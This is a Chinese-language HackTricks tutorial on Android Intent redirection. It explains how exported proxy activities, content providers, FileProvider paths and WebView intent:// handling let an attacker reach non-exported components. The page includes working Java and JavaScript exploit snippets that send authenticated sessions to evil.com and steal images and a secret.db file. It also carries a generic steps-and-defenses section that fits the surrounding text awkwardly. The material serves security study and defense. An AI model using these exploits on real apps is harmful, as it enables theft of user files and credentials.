18 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
研究来源于 https://blog.oversecured.com/Android-Access-to-app-protected-components/
介绍
这个漏洞类似于Web安全中的开放重定向。由于类Intent
是Parcelable
的,属于这个类的对象可以作为额外的数据传递给另一个Intent
对象。
许多开发人员利用这个特性,创建代理组件(活动、广播接收器和服务),将嵌入的Intent
传递给startActivity(...)
、sendBroadcast(...)
等危险方法。
这是危险的,因为攻击者可以强制应用启动一个不能从另一个应用直接启动的非导出组件,或者授予攻击者访问其内容提供程序的权限。**WebView
有时也会将URL从字符串转换为Intent
**对象,使用Intent.parseUri(...)
方法,并将其传递给startActivity(...)
。
{% hint style="info" %} 简而言之:如果攻击者可以发送一个正在不安全执行的Intent,他可能会访问未导出的组件并滥用它们。 {% endhint %}
典型案例
让我们来看一个例子。AndroidManifest.xml
文件的片段
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
活动 ProxyActivity
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
活动 AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
AuthWebViewActivity
是一个示例,展示了执行某些不安全操作的隐藏应用功能,在这种情况下,它将用户的身份验证会话传递给从url
参数获取的URL。
出于出口限制的原因,攻击者无法直接访问AuthWebViewActivity
。直接调用
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
抛出java.lang.SecurityException
,由于Permission Denial
:AuthWebViewActivity
未从uid 1337导出。
但攻击者可以强制受害者启动AuthWebViewActivity
本身:
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
并且不会引发任何安全违规,因为受攻击的应用程序可以访问其所有组件。使用这段代码片段,攻击者可以绕过Android系统的内置限制。
提升攻击影响
为了提升此漏洞的影响,您需要找到其他漏洞/配置错误,以增加漏洞的影响(因为单独的漏洞并不会产生任何风险)。
通过内容提供程序提升攻击
除了访问原始应用程序的任意组件外,攻击者还可以尝试访问满足以下条件的易受攻击应用程序的内容提供程序:
- 它必须是非导出的(否则可以直接攻击,而不使用我们在本文中讨论的漏洞)
- 它必须设置了**
android:grantUriPermissions
标志为true
**。 android:grantUriPermissions="true"
表示您的Java代码可以使用FLAG_GRANT_READ_URI_PERMISSION
和FLAG_GRANT_WRITE_URI_PERMISSION
来访问该ContentProvider
提供的任何Uri
。android:grantUriPermissions="false"
表示只能使用子<grant-uri-permission>
元素指定的Uri
值与FLAG_GRANT_READ_URI_PERMISSION
和FLAG_GRANT_WRITE_URI_PERMISSION
一起使用。
攻击者必须将自己设置为嵌入意图的接收者,并设置以下标志:
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
允许对提供程序进行持久访问(如果没有此标志,访问仅限一次)Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
允许通过前缀访问URI - 例如,攻击者可以使用URIcontent://com.victim.provider/
授予对提供程序的所有内容的访问权限,然后使用ContentResolver
来访问content://com.victim.provider/image/1
、content://com.victim.provider/image/2
等。Intent.FLAG_GRANT_READ_URI_PERMISSION
允许对提供程序进行读取操作(例如query
、openFile
、openAssetFile
)Intent.FLAG_GRANT_WRITE_URI_PERMISSION
允许进行写入操作
一个典型的提供程序示例,攻击者可以访问并执行常规操作,如query
、update
、insert
、delete
、openFile
、openAssetFile
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
在AndroidManifest.xml
文件中窃取用户图片的示例
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="image/*" />
</intent-filter>
</activity>
在上述示例中,AndroidManifest.xml
文件中的MainActivity
活动定义了一个意图过滤器,用于捕获用户选择图片的意图。该意图过滤器指定了以下条件:
android.intent.action.PICK
:指定意图的操作为选择操作。android.intent.category.DEFAULT
:指定意图的默认类别。image/*
:指定意图的数据类型为图像类型。
通过这个意图过滤器,攻击者可以欺骗用户选择图片,并将用户选择的图片传输到攻击者控制的服务器上,从而窃取用户的图片。
<activity android:name=".LeakActivity" android:exported="true" />
MainActivity.java
文件
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
对Android文件提供程序的攻击
这个漏洞还使得攻击者有可能窃取开发者预定的目录中的应用文件。为了成功攻击,恶意应用需要获得对Android文件提供程序的访问权限,然后使用Android ContentResolver从文件提供程序中读取内容。
示例文件提供程序(更多详细信息请参见https://developer.android.com/reference/android/support/v4/content/FileProvider)
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
它提供对特殊列表中的文件的读写访问权限,该列表可以在应用资源中找到,例如在 res/xml/provider_paths.xml
中。
它可能看起来有些像
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
每个标签都指定了一个根目录,其path
值相对于根目录。例如,值external_files
将对应于new File(Environment.getExternalStorageDirectory(), "images")
。
值root-path
对应于/
,即提供对任意文件的访问。
假设我们有一些秘密数据存储在文件/data/data/com.victim/databases/secret.db
中:对该文件的窃取可能如下所示MainActivity.java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
通过WebView访问任意组件
可以通过调用Intent.toUri(flags)
将Intent对象转换为字符串,并通过Intent.parseUri(stringUri, flags)
将字符串转换回Intent。这个功能通常在WebView(应用内置浏览器)中使用:应用程序可以验证intent://
方案,将URL解析为Intent并启动活动。
这个漏洞可以通过其他漏洞(例如,通过导出的活动直接在WebView中打开任意链接的能力或通过深链接机制)在客户端应用程序中利用,也可以在远程环境中利用,包括服务器端的跨站脚本攻击或客户端的中间人攻击。
漏洞代码示例
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
这里的重点是WebViewClient
类的shouldOverrideUrlLoading(...)
方法在WebView尝试加载新链接时被调用,但它给了应用程序添加自定义处理程序的选项。
为了利用这个漏洞,攻击者需要创建一个WebView重定向到一个特别准备的intent-scheme URL。URL创建的示例:
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
攻击示例
攻击目标
在进行攻击之前,我们需要明确攻击的目标。在Android应用程序中,我们可以通过意图(Intent)注入攻击来实现各种攻击目标,例如:
- 窃取用户敏感信息
- 修改应用程序行为
- 绕过应用程序的安全措施
攻击步骤
以下是一个意图注入攻击的示例步骤:
-
分析目标应用程序:首先,我们需要对目标应用程序进行分析,了解其功能和可能存在的漏洞。
-
识别可注入的意图:我们需要找到目标应用程序中可以接受外部意图的组件,例如Activity、Service或Broadcast Receiver。
-
构造恶意意图:根据目标应用程序的组件和功能,我们可以构造一个恶意意图,其中包含我们想要执行的操作,例如发送短信、拨打电话或访问敏感数据。
-
发送恶意意图:通过发送恶意意图,我们可以将其注入到目标应用程序中的组件中,从而执行我们的攻击操作。
-
利用漏洞:一旦恶意意图被接受并执行,我们可以利用目标应用程序中的漏洞来实现我们的攻击目标,例如窃取用户敏感信息或修改应用程序行为。
防御措施
为了防止意图注入攻击,开发人员可以采取以下措施:
-
验证意图来源:在接受外部意图之前,应用程序应该验证意图的来源,确保其来自可信任的来源。
-
限制意图接受范围:应用程序应该限制接受意图的组件,只允许特定的组件接受外部意图。
-
输入验证:应用程序应该对接受的意图进行输入验证,确保其符合预期的格式和内容。
-
最小权限原则:应用程序应该以最小权限原则运行,只授予必要的权限给组件。
-
安全编码实践:开发人员应该遵循安全编码实践,避免在应用程序中引入安全漏洞。
通过采取这些防御措施,开发人员可以减少意图注入攻击的风险,并提高应用程序的安全性。
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
这个版本与经典版本的漏洞相比有一些限制:
- 嵌入的
Parcelable
和Serializable
对象无法转换为字符串(它们将被忽略) - 当调用
Intent.parseUri(...)
时,不安全的标志Intent.FLAG_GRANT_READ_URI_PERMISSION
和Intent.FLAG_GRANT_WRITE_URI_PERMISSION
将被忽略。解析器只会在设置了Intent.URI_ALLOW_UNSAFE
(startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))
)标志的情况下保留它们,这种情况非常罕见。
许多开发人员仍然忘记对通过WebView接收到的意图进行完整的过滤。
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
攻击者可以通过选择器指定一个非导出组件
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
并绕过应用对显式意图的保护。因此,我们建议对选择器进行过滤。
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
但是即使进行了完整的过滤也不能保证完全的保护,因为攻击者可以创建一个与某个未导出活动的intent-filter
相对应的隐式意图。活动声明的示例:
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
因此,我们建议在启动活动之前检查其是否已导出。
创建不安全意图的其他方法
一些应用程序开发人员实现了自己的意图解析器(通常用于处理深链接或推送消息),使用JSON对象、字符串或字节数组等,这些方法与默认方法没有区别,或者存在很大的危险,因为它们可能会扩展Serializable
和Parcelable
对象,并且它们还允许设置不安全的标志。安全研究人员还可能遇到更奇特的意图创建版本,例如将字节数组转换为Parcel
,然后从中读取意图。
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
Vuln app
{% embed url="https://github.com/oversecured/ovaa" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm.
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。